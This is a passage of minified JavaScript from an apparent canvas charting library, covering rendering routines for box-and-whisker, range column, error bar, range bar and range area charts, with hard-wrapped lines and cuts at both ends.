Y.convertValueToPixel(x[k].y[1]);s=a.axisY.convertValueToPixel(x[k].y[2]);
q=a.axisY.convertValueToPixel(x[k].y[3]);n=a.axisY.convertValueToPixel(x[k].y[4]);v
ar y=l-h/2<<0,A=l+h/2<<0,e=x[k].color?
x[k].color:C._colorSet[0],D=Math.round(Math.max(1,0.15*h)),aa=0===D%2?
0:0.5,T=x[k].whiskerColor?x[k].whiskerColor:x[k].color?C.whiskerColor?
C.whiskerColor:x[k].color:C.whiskerColor?C.whiskerColor:e,Y="number"===typeof
x[k].whiskerThickness?x[k].whiskerThickness:"number"===typeof
C.options.whiskerThickness?C.whiskerThickness:D,ca=x[k].whiskerDashType?
x[k].whiskerDashType:C.whiskerDashType,
da=u(x[k].whiskerLength)?u(C.options.whiskerLength)?
h:C.whiskerLength:x[k].whiskerLength,da="number"===typeof da?0>=da?0:da>=h?
h:da:"string"===typeof da?parseInt(da)*h/100>h?
h:parseInt(da)*h/100:h,Z=1===Math.round(Y)%2?0.5:0,oa=x[k].stemColor?
x[k].stemColor:x[k].color?C.stemColor?C.stemColor:x[k].color:C.stemColor?
C.stemColor:e,la="number"===typeof x[k].stemThickness?
x[k].stemThickness:"number"===typeof C.options.stemThickness?
C.stemThickness:D,G=1===Math.round(la)%2?0.5:0,F=x[k].stemDashType?
x[k].stemDashType:
C.stemDashType,E=x[k].lineColor?x[k].lineColor:x[k].color?C.lineColor?
C.lineColor:x[k].color:C.lineColor?C.lineColor:e,H="number"===typeof
x[k].lineThickness?x[k].lineThickness:"number"===typeof C.options.lineThickness?
C.lineThickness:D,I=x[k].lineDashType?
x[k].lineDashType:C.lineDashType,K=1===Math.round(H)%2?
0.5:0,L=C.upperBoxColor,O=C.lowerBoxColor,Q=u(C.options.fillOpacity)?
1:C.fillOpacity,P=C.dataPointIds[k];this._eventManager.objectMap[P]={id:P,objectTyp
e:"dataPoint",dataSeriesIndex:t,dataPointIndex:k,
x1:y,y1:w,x2:A,y2:m,x3:l,y3:s,x4:l,y4:q,y5:n,borderThickness:D,color:e,stemThicknes
s:la,stemColor:oa,whiskerThickness:Y,whiskerLength:da,whiskerColor:T,lineThickness:
H,lineColor:E};b.save();0<la&&(b.beginPath(),b.strokeStyle=oa,b.lineWidth=la,b.setL
ineDash&&b.setLineDash(R(F,la)),b.moveTo(l-G,m),b.lineTo(l-
G,w),b.stroke(),b.moveTo(l-G,q),b.lineTo(l-
G,s),b.stroke());b.restore();c.lineWidth=Math.max(D,4);b.beginPath();ea(b,y,Math.mi
n(n,m),A,Math.max(m,n),O,0,e,p?z:!1,p?!1:z,!1,!1,Q);b.beginPath();ea(b,
y,Math.min(s,n),A,Math.max(n,s),L,0,e,p?!1:z,p?z:!1,!1,!
1,Q);b.beginPath();b.lineWidth=D;b.strokeStyle=e;b.rect(y-aa,Math.min(m,s)-aa,A-
y+2*aa,Math.max(m,s)-Math.min(m,s)
+2*aa);b.stroke();b.save();0<H&&(b.beginPath(),b.globalAlpha=1,b.setLineDash&&b.set
LineDash(R(I,H)),b.strokeStyle=E,b.lineWidth=H,b.moveTo(y,n-K),b.lineTo(A,n-
K),b.stroke());b.restore();b.save();0<Y&&(b.beginPath(),b.setLineDash&&b.setLineDas
h(R(ca,Y)),b.strokeStyle=T,b.lineWidth=Y,b.moveTo(l-da/2<<0,q-
Z),b.lineTo(l+da/2<<0,q-Z),
b.stroke(),b.moveTo(l-
da/2<<0,w+Z),b.lineTo(l+da/2<<0,w+Z),b.stroke());b.restore();r&&(e=N(P),c.strokeSty
le=e,c.lineWidth=la,0<la&&(c.moveTo(l-aa-G,m),c.lineTo(l-aa-
G,Math.max(w,q)),c.stroke(),c.moveTo(l-aa-G,Math.min(w,q)),c.lineTo(l-aa-
G,s),c.stroke()),ea(c,y,Math.max(m,s),A,Math.min(m,s),e,0,null,!1,!1,!1,!
1),0<Y&&(c.beginPath(),c.lineWidth=Y,c.moveTo(l+da/2,q-Z),c.lineTo(l-da/2,q-
Z),c.stroke(),c.moveTo(l+da/2,w+Z),c.lineTo(l-da/2,w+Z),c.stroke()));
(x[k].indexLabel||C.indexLabel||x[k].indexLabelFormatter||
C.indexLabelFormatter)&&this._indexLabels.push({chartType:C.type,dataPoint:x[k],dat
aSeries:C,point:{x:y+(A-y)/2,y:a.axisY.reversed?w:q},direction:1,bounds:
{x1:y,y1:Math.min(w,q),x2:A,y2:Math.max(w,q)},color:e})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,
0,0,this.width,this.height),b.clearRect(g.x1,g.y1,g.width,g.height),c.restore());b.
restore();return{source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimatio
n,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototype.renderRangeColu
mn=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?this.dataPointWidth:
1;k=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.03*this.width;var m=a.axisX.dataInfo.minDiff;isFinite(m)||
(m=0.3*Math.abs(a.axisX.range));m=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(m)/Math.log(a.axisX.range):Math.abs(m)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>k&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,k));!this.dataPointMaxWidth&&
(this.dataPointMinWidth&&k<g)&&(k=Math.max(this.options.dataPointWidth?
this.dataPointWidth:-
Infinity,g));m<g&&(m=g);m>k&&(m=k);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var s=0;s<a.dataSeriesIndexes.length;s++){var
q=a.dataSeriesIndexes[s],n=this.data[q],f=n.dataPoints;if(0<f.length)for(var h=
5<m&&n.bevelEnabled?!0:!1,g=0;g<f.length;g++)if(f[g].getTime?
w=f[g].x.getTime():w=f[g].x,!(w<a.axisX.dataInfo.viewPortMin||
w>a.axisX.dataInfo.viewPortMax)&&!u(f[g].y)&&f[g].y.length&&"number"===typeof
f[g].y[0]&&"number"===typeof f[g].y[1])
{c=a.axisX.convertValueToPixel(w);k=a.axisY.convertValueToPixel(f[g].y[0]);l=a.axis
Y.convertValueToPixel(f[g].y[1]);var p=a.axisX.reversed?
c+a.plotType.totalDataSeries*m/2-(a.previousDataSeriesCount+s)*m<<0:c-
a.plotType.totalDataSeries*m/2+(a.previousDataSeriesCount+
s)*m<<0,v=a.axisX.reversed?p-m<<0:p+m<<0,c=f[g].color?f[g].color:n._colorSet[g
%n._colorSet.length];if(k>l){var
t=k;k=l;l=t}t=n.dataPointIds[g];this._eventManager.objectMap[t]={id:t,objectType:"d
ataPoint",dataSeriesIndex:q,dataPointIndex:g,x1:p,y1:k,x2:v,y2:l};ea(b,p,k,v,l,c,0,
c,h,h,!1,!
1,n.fillOpacity);c=N(t);r&&ea(this._eventManager.ghostCtx,p,k,v,l,c,0,null,!1,!1,!
1,!1);if(f[g].indexLabel||n.indexLabel||f[g].indexLabelFormatter||
n.indexLabelFormatter)this._indexLabels.push({chartType:"rangeColumn",
dataPoint:f[g],dataSeries:n,indexKeyword:0,point:{x:p+(v-
p)/2,y:f[g].y[1]>=f[g].y[0]?l:k},direction:f[g].y[1]>=f[g].y[0]?-1:1,bounds:
{x1:p,y1:Math.min(k,l),x2:v,y2:Math.max(k,l)},color:c}),this._indexLabels.push({cha
rtType:"rangeColumn",dataPoint:f[g],dataSeries:n,indexKeyword:1,point:{x:p+(v-
p)/2,y:f[g].y[1]>=f[g].y[0]?k:l},direction:f[g].y[1]>=f[g].y[0]?1:-1,bounds:
{x1:p,y1:Math.min(k,l),x2:v,y2:Math.max(k,l)},color:c})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation=
"source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototy
pe.renderError=
function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d,c=a.axisY._position?"left"===a.axisY._position||"right"===a.ax
isY._position?!1:!0:!1;if(!(0>=a.dataSeriesIndexes.length)){var e=null,g=!
1,k=this.plotArea,l=0,w,m,s,q,n,f,h,p=a.axisX.dataInfo.minDiff;isFinite(p)||
(p=0.3*Math.abs(a.axisX.range));b.save();r&&this._eventManager.ghostCtx.save();b.be
ginPath();b.rect(k.x1,k.y1,k.width,k.height);b.clip();r&&(this._eventManager.ghostC
tx.beginPath(),this._eventManager.ghostCtx.rect(k.x1,
k.y1,k.width,k.height),this._eventManager.ghostCtx.clip());for(var
v=0,t=0;t<this.data.length;t++)!this.data[t].type.match(/(bar|column)/ig)||!
this.data[t].visible||this.data[t].type.match(/(stacked)/ig)&&v||v++;for(var
C=0;C<a.dataSeriesIndexes.length;C++){var
x=a.dataSeriesIndexes[C],z=this.data[x],y=z.dataPoints,A=u(z._linkedSeries)?!
1:z._linkedSeries.type.match(/(bar|column)/ig)&&z._linkedSeries.visible?!0:!
1,D=0;if(A)for(e=z._linkedSeries.id,t=0;t<e;t++)!this.data[t].type.match(/(bar|
column)/ig)||
!this.data[t].visible||this.data[t].type.match(/(stacked)/ig)&&D||
(this.data[t].type.match(/(range)/ig)&&(g=!0),D+
+);e=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;l=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?this.dataPointWidth:c?
Math.min(0.15*this.height,0.9*(this.plotArea.height/(A?
v:1)))<<0:0.3*this.width;g&&(l=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?this.dataPointWidth:
c?Math.min(0.15*this.height,0.9*(this.plotArea.height/(A?
v:1)))<<0:0.03*this.width);t=this.options.dataPointWidth?
this.dataPointWidth:0.9*((c?k.height:k.width)*(a.axisX.logarithmic?
Math.log(p)/Math.log(a.axisX.range):Math.abs(p)/Math.abs(a.axisX.range))/(A?
v:1))<<0;this.dataPointMaxWidth&&e>l&&(e=Math.min(this.options.dataPointWidth?
this.dataPointWidth:Infinity,l));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&l<e)&&(l=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-Infinity,e));t<e&&
(t=e);t>l&&(t=l);if(0<y.length)for(var aa=z._colorSet,l=0;l<y.length;l++){var
e=z.lineColor=z.options.color?z.options.color:aa[0],T={color:y[l].whiskerColor?
y[l].whiskerColor:y[l].color?z.whiskerColor?
z.whiskerColor:y[l].color:z.whiskerColor?
z.whiskerColor:e,thickness:u(y[l].whiskerThickness)?
z.whiskerThickness:y[l].whiskerThickness,dashType:y[l].whiskerDashType?
y[l].whiskerDashType:z.whiskerDashType,length:u(y[l].whiskerLength)?
u(z.options.whiskerLength)?t:z.options.whiskerLength:y[l].whiskerLength,
trimLength:u(y[l].whiskerLength)?u(z.options.whiskerLength)?
50:0:0};T.length="number"===typeof T.length?0>=T.length?0:T.length>=t?
t:T.length:"string"===typeof T.length?parseInt(T.length)*t/100>t?
t:parseInt(T.length)*t/100>t:t;T.thickness="number"===typeof T.thickness?
0>T.thickness?0:Math.round(T.thickness):2;var Y={color:y[l].stemColor?
y[l].stemColor:y[l].color?z.stemColor?z.stemColor:y[l].color:z.stemColor?
z.stemColor:e,thickness:y[l].stemThickness?
y[l].stemThickness:z.stemThickness,dashType:y[l].stemDashType?
y[l].stemDashType:z.stemDashType};Y.thickness="number"===typeof Y.thickness?
0>Y.thickness?0:Math.round(Y.thickness):2;y[l].getTime?
h=y[l].x.getTime():h=y[l].x;if(!(h<a.axisX.dataInfo.viewPortMin||
h>a.axisX.dataInfo.viewPortMax)&&!u(y[l].y)&&y[l].y.length&&"number"===typeof
y[l].y[0]&&"number"===typeof y[l].y[1]){var ca=a.axisX.convertValueToPixel(h);c?
m=ca:w=ca;ca=a.axisY.convertValueToPixel(y[l].y[0]);c?
s=ca:n=ca;ca=a.axisY.convertValueToPixel(y[l].y[1]);c?q=ca:f=ca;c?
(n=a.axisX.reversed?m+(A?v:
1)*t/2-(A?D-1:0)*t<<0:m-(A?v:1)*t/2+(A?D-1:0)*t<<0,f=a.axisX.reversed?n-
t<<0:n+t<<0):(s=a.axisX.reversed?w+(A?v:1)*t/2-(A?D-1:0)*t<<0:w-(A?v:1)*t/2+(A?D-
1:0)*t<<0,q=a.axisX.reversed?s-t<<0:s+t<<0);!
c&&n>f&&(ca=n,n=f,f=ca);c&&s>q&&(ca=s,s=q,q=ca);ca=z.dataPointIds[l];this._eventMan
ager.objectMap[ca]={id:ca,objectType:"dataPoint",dataSeriesIndex:x,dataPointIndex:l
,x1:Math.min(s,q),y1:Math.min(n,f),x2:Math.max(q,s),y2:Math.max(f,n),isXYSwapped:c,
stemProperties:Y,whiskerProperties:T};E(b,Math.min(s,q),
Math.min(n,f),Math.max(q,s),Math.max(f,n),e,T,Y,c);r&&E(this._eventManager.ghostCtx
,s,n,q,f,e,T,Y,c);if(y[l].indexLabel||z.indexLabel||y[l].indexLabelFormatter||
z.indexLabelFormatter)this._indexLabels.push({chartType:"error",dataPoint:y[l],data
Series:z,indexKeyword:0,point:{x:c?y[l].y[1]>=y[l].y[0]?s:q:s+(q-s)/2,y:c?n+(f-
n)/2:y[l].y[1]>=y[l].y[0]?f:n},direction:y[l].y[1]>=y[l].y[0]?-1:1,bounds:{x1:c?
Math.min(s,q):s,y1:c?n:Math.min(n,f),x2:c?Math.max(s,q):q,y2:c?
f:Math.max(n,f)},color:e,axisSwapped:c}),
this._indexLabels.push({chartType:"error",dataPoint:y[l],dataSeries:z,indexKeyword:
1,point:{x:c?y[l].y[1]>=y[l].y[0]?q:s:s+(q-s)/2,y:c?n+(f-n)/2:y[l].y[1]>=y[l].y[0]?
n:f},direction:y[l].y[1]>=y[l].y[0]?1:-1,bounds:{x1:c?Math.min(s,q):s,y1:c?
n:Math.min(n,f),x2:c?Math.max(s,q):q,y2:c?
f:Math.max(n,f)},color:e,axisSwapped:c})}}}r&&(d.drawImage(this._preRenderCanvas,0,
0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),
a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),this
._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.w
idth,this.height),b.clearRect(k.x1,k.y1,k.width,k.height),this._eventManager.ghostC
tx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallback:
M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototype
.renderRangeBar=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:
d;if(!(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,m,g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;k=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.height,0.9*(this.plotArea.height/a.plotType.
totalDataSeries))<<0;var s=a.axisX.dataInfo.minDiff;isFinite(s)||
(s=0.3*Math.abs(a.axisX.range));s=this.options.dataPointWidth?
this.dataPointWidth:0.9*
(e.height*(a.axisX.logarithmic?
Math.log(s)/Math.log(a.axisX.range):Math.abs(s)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>k&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,k));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&k<g)&&(k=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,g));s<g&&(s=g);s>k&&(s=k);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),
this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this._eventManager.gho
stCtx.clip());for(var q=0;q<a.dataSeriesIndexes.length;q++){var
n=a.dataSeriesIndexes[q],f=this.data[n],h=f.dataPoints;if(0<h.length){var
p=5<s&&f.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(g=0;g<h.length;g+
+)if(h[g].getTime?m=h[g].x.getTime():m=h[g].x,!(m<a.axisX.dataInfo.viewPortMin||
m>a.axisX.dataInfo.viewPortMax)&&!u(h[g].y)&&h[g].y.length&&"number"===typeof
h[g].y[0]&&"number"===typeof h[g].y[1]){k=a.axisY.convertValueToPixel(h[g].y[0]);
l=a.axisY.convertValueToPixel(h[g].y[1]);w=a.axisX.convertValueToPixel(m);w=a.axisX
.reversed?w+a.plotType.totalDataSeries*s/2-(a.previousDataSeriesCount+q)*s<<0:w-
a.plotType.totalDataSeries*s/2+(a.previousDataSeriesCount+q)*s<<0;var
v=a.axisX.reversed?w-s<<0:w+s<<0;k>l&&(c=k,k=l,l=c);c=h[g].color?
h[g].color:f._colorSet[g%f._colorSet.length];ea(b,k,w,l,v,c,0,null,p,!1,!1,!
1,f.fillOpacity);c=f.dataPointIds[g];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:n,dataPointIndex:g,
x1:k,y1:w,x2:l,y2:v};c=N(c);r&&ea(this._eventManager.ghostCtx,k,w,l,v,c,0,null,!1,!
1,!1,!1);if(h[g].indexLabel||f.indexLabel||h[g].indexLabelFormatter||
f.indexLabelFormatter)this._indexLabels.push({chartType:"rangeBar",dataPoint:h[g],d
ataSeries:f,indexKeyword:0,point:{x:h[g].y[1]>=h[g].y[0]?k:l,y:w+(v-
w)/2},direction:h[g].y[1]>=h[g].y[0]?-1:1,bounds:
{x1:Math.min(k,l),y1:w,x2:Math.max(k,l),y2:v},color:c}),this._indexLabels.push({cha
rtType:"rangeBar",dataPoint:h[g],dataSeries:f,indexKeyword:1,point:{x:h[g].y[1]>=
h[g].y[0]?l:k,y:w+(v-w)/2},direction:h[g].y[1]>=h[g].y[0]?1:-1,bounds:
{x1:Math.min(k,l),y1:w,x2:Math.max(k,l),y2:v},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,
e.y1,e.width,e.height),this._eventManager.ghostCtx.restore());b.restore();return{so
urce:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimation,easingFunction:M.
easing.easeInQuad,animationBase:0}}};p.prototype.renderRangeArea=function(a)
{function d(){if(C){var a=null;0<s.lineThickness&&c.stroke();for(var b=w.length-
1;0<=b;b--)a=w[b],c.lineTo(a.x,a.y),e.lineTo(a.x,a.y);c.closePath();c.globalAlpha=s
.fillOpacity;c.fill();c.globalAlpha=1;e.fill();if(0<s.lineThickness)
{c.beginPath();c.moveTo(a.x,
a.y);for(b=0;b<w.length;b+
+)a=w[b],c.lineTo(a.x,a.y);c.stroke()}c.beginPath();c.moveTo(h,p);e.beginPath();e.m
oveTo(h,p);C={x:h,y:p};w=[];w.push({x:h,y:u})}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx,g=[],k=this.plotArea;c.save();r&&e.save();c.beginPath
();c.rect(k.x1,k.y1,k.width,k.height);c.clip();r&&(e.beginPath(),e.rect(k.x1,k.y1,k
.width,k.height),e.clip());for(var l=0;l<a.dataSeriesIndexes.length;l++){var w=
[],m=a.dataSeriesIndexes[l],s=this.data[m],q=s.dataPoints,g=s.id;this._eventManager
.objectMap[g]={objectType:"dataSeries",dataSeriesIndex:m};g=N(g);e.fillStyle=g;var
g=[],n=!0,f=0,h,p,u,t,C=null;if(0<q.length){var x=s._colorSet[f
%s._colorSet.length],v=s.lineColor=s.options.lineColor||
x,y=v;c.fillStyle=x;c.strokeStyle=v;c.lineWidth=s.lineThickness;var
A="solid";if(c.setLineDash){var
z=R(s.nullDataLineDashType,s.lineThickness),A=s.lineDashType,D=R(A,s.lineThickness)
;c.setLineDash(D)}for(var T=!0;f<
q.length;f++)if(t=q[f].x.getTime?q[f].x.getTime():q[f].x,!
(t<a.axisX.dataInfo.viewPortMin||t>a.axisX.dataInfo.viewPortMax&&(!
s.connectNullData||!T)))if(null!==q[f].y&&q[f].y.length&&"number"===typeof
q[f].y[0]&&"number"===typeof q[f].y[1])
{h=a.axisX.convertValueToPixel(t);p=a.axisY.convertValueToPixel(q[f].y[0]);u=a.axis
Y.convertValueToPixel(q[f].y[1]);n||T?(s.connectNullData&&!n?
(c.setLineDash&&(s.options.nullDataLineDashType||
A===s.lineDashType&&s.lineDashType!==s.nullDataLineDashType)&&(w[w.length-
1].newLineDashArray=D,A=s.nullDataLineDashType,c.setLineDash(z)),c.lineTo(h,p),r&&e
.lineTo(h,p),w.push({x:h,y:u})):
(c.beginPath(),c.moveTo(h,p),C={x:h,y:p},w=[],w.push({x:h,y:u}),r&&(e.beginPath(),e
.moveTo(h,p))),T=n=!1):(c.lineTo(h,p),w.push({x:h,y:u}),r&&e.lineTo(h,p),0==f
%250&&d());t=s.dataPointIds[f];this._eventManager.objectMap[t]={id:t,objectType:"da
taPoint",dataSeriesIndex:m,dataPointIndex:f,x1:h,y1:p,y2:u};f<q.length-1&&(y!
==(q[f].lineColor||v)||A!==(q[f].lineDashType||s.lineDashType))&&(d(),
y=q[f].lineColor||v,w[w.length-
1].newStrokeStyle=y,c.strokeStyle=y,c.setLineDash&&(q[f].lineDashType?
(A=q[f].lineDashType,w[w.length-
1].newLineDashArray=R(A,s.lineThickness),c.setLineDash(w[w.length-
1].newLineDashArray)):(A=s.lineDashType,w[w.length-
1].newLineDashArray=D,c.setLineDash(D))));if(0!
==q[f].markerSize&&(0<q[f].markerSize||0<s.markerSize)){var
Y=s.getMarkerProperties(f,h,u,c);g.push(Y);var
ca=N(t);r&&g.push({x:h,y:u,ctx:e,type:Y.type,size:Y.size,color:ca,borderColor:ca,bo
rderThickness:Y.borderThickness});
Y=s.getMarkerProperties(f,h,p,c);g.push(Y);ca=N(t);r&&g.push({x:h,y:p,ctx:e,type:Y.
type,size:Y.size,color:ca,borderColor:ca,borderThickness:Y.borderThickness})}if(q[f
].indexLabel||s.indexLabel||q[f].indexLabelFormatter||
s.indexLabelFormatter)this._indexLabels.push({chartType:"rangeArea",dataPoint:q[f],
dataSeries:s,indexKeyword:0,point:
{x:h,y:p},direction:q[f].y[0]>q[f].y[1]===a.axisY.reversed?-
1:1,color:x}),this._indexLabels.push({chartType:"rangeArea",dataPoint:q[f],dataSeri
es:s,indexKeyword:1,point:{x:h,
y:u},direction:q[f].y[0]>q[f].y[1]===a.axisY.reversed?1:-1,color:x})}else T||n||
d(),T=!
0;d();ia.drawMarkers(g)}}r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,this.
height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(k.x1,k.y1,
k.width,k.height),this._eventManager.ghostCtx.restore());c.restore();return{source:
b,dest:this.plotArea.ctx,animationCallback:M.xClipAnimation,easingFunction:M.easing
.linear,animationBase:0}}};p.prototype.renderRangeSplineArea=function(a){function
d(a,b){var d=v(u,2);if(0<d.length){if(0<m.lineThickness)
{c.strokeStyle=b;c.setLineDash&&c.setLineDash(a);c.beginPath();c.moveTo(d[0].x,d[0]
.y);for(var f=0;f<d.length-3;f+=3){if(d[f].newStrokeStyle||
d[f].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(d[f].x,
d[f].y),d[f].newStrokeStyle&&(c.strokeStyle=d[f].newStrokeStyle),d[f].newLineDashAr
ray&&c.setLineDash(d[f].newLineDashArray);c.bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].
x,d[f+2].y,d[f+3].x,d[f+3].y)}c.stroke()}c.beginPath();c.moveTo(d[0].x,d[0].y);r&&(
e.beginPath(),e.moveTo(d[0].x,d[0].y));for(f=0;f<d.length-
3;f+=3)c.bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].x,d[f+2].y,d[f+3].x,d[f+3].y),r&&e.
bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].x,d[f+2].y,d[f+3].x,d[f+3].y);d=v(z,2);c.lin
eTo(z[z.length-1].x,z[z.length-
1].y);for(f=d.length-1;2<f;f-=3)c.bezierCurveTo(d[f-1].x,d[f-1].y,d[f-2].x,d[f-
2].y,d[f-3].x,d[f-3].y),r&&e.bezierCurveTo(d[f-1].x,d[f-1].y,d[f-2].x,d[f-2].y,d[f-
3].x,d[f-
3].y);c.closePath();c.globalAlpha=m.fillOpacity;c.fill();r&&(e.closePath(),e.fill()
);c.globalAlpha=1;if(0<m.lineThickness)
{c.strokeStyle=b;c.setLineDash&&c.setLineDash(a);c.beginPath();c.moveTo(d[0].x,d[0]
.y);for(var g=f=0;f<d.length-3;f+=3,g++){if(u[g].newStrokeStyle||
u[g].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(d[f].x,
d[f].y),u[g].newStrokeStyle&&(c.strokeStyle=u[g].newStrokeStyle),u[g].newLineDashAr
ray&&c.setLineDash(u[g].newLineDashArray);c.bezierCurveTo(d[f+1].x,d[f+1].y,d[f+2].
x,d[f+2].y,d[f+3].x,d[f+3].y)}c.stroke()}c.beginPath()}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx,g=[],k=this.plotArea;c.save();r&&e.save();c.beginPath
();c.rect(k.x1,k.y1,k.width,k.height);c.clip();r&&(e.beginPath(),e.rect(k.x1,k.y1,k
.width,
k.height),e.clip());for(var l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w],h=m.dataPoints,g=m.id;this._eventManager.ob
jectMap[g]={objectType:"dataSeries",dataSeriesIndex:w};g=N(g);e.fillStyle=g;var
g=[],q=0,n,f,p,u=[],z=[];if(0<h.length){var t=m._colorSet[q
%m._colorSet.length],C=m.lineColor=m.options.lineColor||
t,x=C;c.fillStyle=t;c.lineWidth=m.lineThickness;var F="solid",y;if(c.setLineDash)
{var A=R(m.nullDataLineDashType,m.lineThickness),F=m.lineDashType;y=R(F,
m.lineThickness)}for(f=!1;q<h.length;q++)if(n=h[q].x.getTime?
h[q].x.getTime():h[q].x,!(n<a.axisX.dataInfo.viewPortMin||
n>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!f)))if(null!
==h[q].y&&h[q].y.length&&"number"===typeof h[q].y[0]&&"number"===typeof h[q].y[1])
{n=a.axisX.convertValueToPixel(n);f=a.axisY.convertValueToPixel(h[q].y[0]);p=a.axis
Y.convertValueToPixel(h[q].y[1]);var
E=m.dataPointIds[q];this._eventManager.objectMap[E]={id:E,objectType:"dataPoint",da
taSeriesIndex:w,dataPointIndex:q,
x1:n,y1:f,y2:p};u[u.length]={x:n,y:f};z[z.length]={x:n,y:p};q<h.length-1&&(x!
==(h[q].lineColor||C)||F!==(h[q].lineDashType||
m.lineDashType))&&(x=h[q].lineColor||C,u[u.length-
1].newStrokeStyle=x,c.setLineDash&&(h[q].lineDashType?
(F=h[q].lineDashType,u[u.length-1].newLineDashArray=R(F,m.lineThickness)):
(F=m.lineDashType,u[u.length-1].newLineDashArray=y)));if(0!
==h[q].markerSize&&(0<h[q].markerSize||0<m.markerSize)){var
aa=m.getMarkerProperties(q,n,f,c);g.push(aa);var T=N(E);r&&g.push({x:n,y:f,ctx:e,
type:aa.type,size:aa.size,color:T,borderColor:T,borderThickness:aa.borderThickness}
);aa=m.getMarkerProperties(q,n,p,c);g.push(aa);T=N(E);r&&g.push({x:n,y:p,ctx:e,type
:aa.type,size:aa.size,color:T,borderColor:T,borderThickness:aa.borderThickness})}if
